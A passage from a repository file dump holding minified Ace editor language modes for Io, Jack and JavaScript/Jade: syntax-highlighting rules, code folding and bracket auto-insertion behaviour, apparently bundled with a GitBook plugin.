    "content": "define(\"ace/mode/io_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:[\"text\",\"meta.empty-parenthesis.io\"],regex:\"(\\\\()(\\\\))\",comment:\"we match this to overload return inside () --Allan; scoping rules for what gets the scope have changed, so we now group the ) instead of the ( -- Rob\"},{token:[\"text\",\"meta.comma-parenthesis.io\"],regex:\"(\\\\,)(\\\\))\",comment:\"We want to do the same for ,) -- Seckar; same as above -- Rob\"},{token:\"keyword.control.io\",regex:\"\\\\b(?:if|ifTrue|ifFalse|ifTrueIfFalse|for|loop|reverseForeach|foreach|map|continue|break|while|do|return)\\\\b\"},{token:\"punctuation.definition.comment.io\",regex:\"/\\\\*\",push:[{token:\"punctuation.definition.comment.io\",regex:\"\\\\*/\",next:\"pop\"},{defaultToken:\"comment.block.io\"}]},{token:\"punctuation.definition.comment.io\",regex:\"//\",push:[{token:\"comment.line.double-slash.io\",regex:\"$\",next:\"pop\"},{defaultToken:\"comment.line.double-slash.io\"}]},{token:\"punctuation.definition.comment.io\",regex:\"#\",push:[{token:\"comment.line.number-sign.io\",regex:\"$\",next:\"pop\"},{defaultToken:\"comment.line.number-sign.io\"}]},{token:\"variable.language.io\",regex:\"\\\\b(?:self|sender|target|proto|protos|parent)\\\\b\",comment:\"I wonder if some of this isn't variable.other.language? --Allan; scoping this as variable.language to match Objective-C's handling of 'self', which is inconsistent with C++'s handling of 'this' but perhaps intentionally so -- Rob\"},{token:\"keyword.operator.io\",regex:\"<=|>=|=|:=|\\\\*|\\\\||\\\\|\\\\||\\\\+|-|/|&|&&|>|<|\\\\?|@|@@|\\\\b(?:and|or)\\\\b\"},{token:\"constant.other.io\",regex:\"\\\\bGL[\\\\w_]+\\\\b\"},{token:\"support.class.io\",regex:\"\\\\b[A-Z](?:\\\\w+)?\\\\b\"},{token:\"support.function.io\",regex:\"\\\\b(?:clone|call|init|method|list|vector|block|\\\\w+(?=\\\\s*\\\\())\\\\b\"},{token:\"support.function.open-gl.io\",regex:\"\\\\bgl(?:u|ut)?[A-Z]\\\\w+\\\\b\"},{token:\"punctuation.definition.string.begin.io\",regex:'\"\"\"',push:[{token:\"punctuation.definition.string.end.io\",regex:'\"\"\"',next:\"pop\"},{token:\"constant.character.escape.io\",regex:\"\\\\\\\\.\"},{defaultToken:\"string.quoted.triple.io\"}]},{token:\"punctuation.definition.string.begin.io\",regex:'\"',push:[{token:\"punctuation.definition.string.end.io\",regex:'\"',next:\"pop\"},{token:\"constant.character.escape.io\",regex:\"\\\\\\\\.\"},{defaultToken:\"string.quoted.double.io\"}]},{token:\"constant.numeric.io\",regex:\"\\\\b(?:0(?:x|X)[0-9a-fA-F]*|(?:[0-9]+\\\\.?[0-9]*|\\\\.[0-9]+)(?:(?:e|E)(?:\\\\+|-)?[0-9]+)?)(?:L|l|UL|ul|u|U|F|f)?\\\\b\"},{token:\"variable.other.global.io\",regex:\"Lobby\\\\b\"},{token:\"constant.language.io\",regex:\"\\\\b(?:TRUE|true|FALSE|false|NULL|null|Null|Nil|nil|YES|NO)\\\\b\"}]},this.normalizeRules()};s.metaData={fileTypes:[\"io\"],keyEquivalent:\"^~I\",name:\"Io\",scopeName:\"source.io\"},r.inherits(s,i),t.IoHighlightRules=s}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/io\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/tokenizer\",\"ace/mode/io_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"../tokenizer\").Tokenizer,o=e(\"./io_highlight_rules\").IoHighlightRules,u=e(\"./folding/cstyle\").FoldMode,a=function(){this.HighlightRules=o,this.foldingRules=new u};r.inherits(a,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/io\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-jack.js",
    "content": "define(\"ace/mode/jack_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"string\",regex:'\"',next:\"string2\"},{token:\"string\",regex:\"'\",next:\"string1\"},{token:\"constant.numeric\",regex:\"-?0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"(?:0|[-+]?[1-9][0-9]*)\\\\b\"},{token:\"constant.binary\",regex:\"<[0-9A-Fa-f][0-9A-Fa-f](\\\\s+[0-9A-Fa-f][0-9A-Fa-f])*>\"},{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:\"constant.language.null\",regex:\"null\\\\b\"},{token:\"storage.type\",regex:\"(?:Integer|Boolean|Null|String|Buffer|Tuple|List|Object|Function|Coroutine|Form)\\\\b\"},{token:\"keyword\",regex:\"(?:return|abort|vars|for|delete|in|is|escape|exec|split|and|if|elif|else|while)\\\\b\"},{token:\"language.builtin\",regex:\"(?:lines|source|parse|read-stream|interval|substr|parseint|write|print|range|rand|inspect|bind|i-values|i-pairs|i-map|i-filter|i-chunk|i-all\\\\?|i-any\\\\?|i-collect|i-zip|i-merge|i-each)\\\\b\"},{token:\"comment\",regex:\"--.*$\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"storage.form\",regex:\"@[a-z]+\"},{token:\"constant.other.symbol\",regex:\":+[a-zA-Z_]([-]?[a-zA-Z0-9_])*[?!]?\"},{token:\"variable\",regex:\"[a-zA-Z_]([-]?[a-zA-Z0-9_])*[?!]?\"},{token:\"keyword.operator\",regex:\"\\\\|\\\\||\\\\^\\\\^|&&|!=|==|<=|<|>=|>|\\\\+|-|\\\\*|\\\\/|\\\\^|\\\\%|\\\\#|\\\\!\"},{token:\"text\",regex:\"\\\\s+\"}],string1:[{token:\"constant.language.escape\",regex:/\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|['\"\\\\\\/bfnrt])/},{token:\"string\",regex:\"[^'\\\\\\\\]+\"},{token:\"string\",regex:\"'\",next:\"start\"},{token:\"string\",regex:\"\",next:\"start\"}],string2:[{token:\"constant.language.escape\",regex:/\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|['\"\\\\\\/bfnrt])/},{token:\"string\",regex:'[^\"\\\\\\\\]+'},{token:\"string\",regex:'\"',next:\"start\"},{token:\"string\",regex:\"\",next:\"start\"}]}};r.inherits(s,i),t.JackHighlightRules=s}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/jack\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/jack_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./jack_highlight_rules\").JackHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"./behaviour/cstyle\").CstyleBehaviour,a=e(\"./folding/cstyle\").FoldMode,f=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new u,this.foldingRules=new a};r.inherits(f,i),function(){this.lineCommentStart=\"--\",this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t);if(e==\"start\"){var i=t.match(/^.*[\\{\\(\\[]\\s*$/);i&&(r+=n)}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/jack\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-jade.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function a(){var e=o.replace(\"\\\\d\",\"\\\\d\\\\-\"),t={onMatch:function(e,t,n){var r=e.charAt(1)==\"/\"?2:1;if(r==1)t!=this.nextState?n.unshift(this.next,this.nextState,0):n.unshift(this.next),n[2]++;else if(r==2&&t==this.nextState){n[1]--;if(!n[1]||n[1]<0)n.shift(),n.shift()}return[{type:\"meta.tag.punctuation.\"+(r==1?\"\":\"end-\")+\"tag-open.xml\",value:e.slice(0,r)},{type:\"meta.tag.tag-name.xml\",value:e.substr(r)}]},regex:\"</?\"+e+\"\",next:\"jsxAttributes\",nextState:\"jsx\"};this.$rules.start.unshift(t);var n={regex:\"{\",token:\"paren.quasi.start\",push:\"start\"};this.$rules.jsx=[n,t,{include:\"reference\"},{defaultToken:\"string\"}],this.$rules.jsxAttributes=[{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",onMatch:function(e,t,n){return t==n[0]&&n.shift(),e.length==2&&(n[0]==this.nextState&&n[1]--,(!n[1]||n[1]<0)&&n.splice(0,2)),this.next=n[0]||\"start\",[{type:this.token,value:e}]},nextState:\"jsx\"},n,{token:\"entity.other.attribute-name.xml\",regex:e},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"},{token:\"string.attribute-value.xml\",regex:\"'\",stateName:\"jsx_attr_q\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},n,{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',stateName:\"jsx_attr_qq\",push:[n,{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]}],this.$rules.reference=[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}]}var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",u=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+o+\")(\\\\.)(prototype)(\\\\.)(\"+o+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+o+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:o},{token:\"punctuation.operator\",regex:/[.](?![.])/,next:\"property\"},{token:\"keyword.operator\",regex:/--|\\+\\+|\\.{3}|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],property:[{token:\"text\",regex:\"\\\\s+\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lpa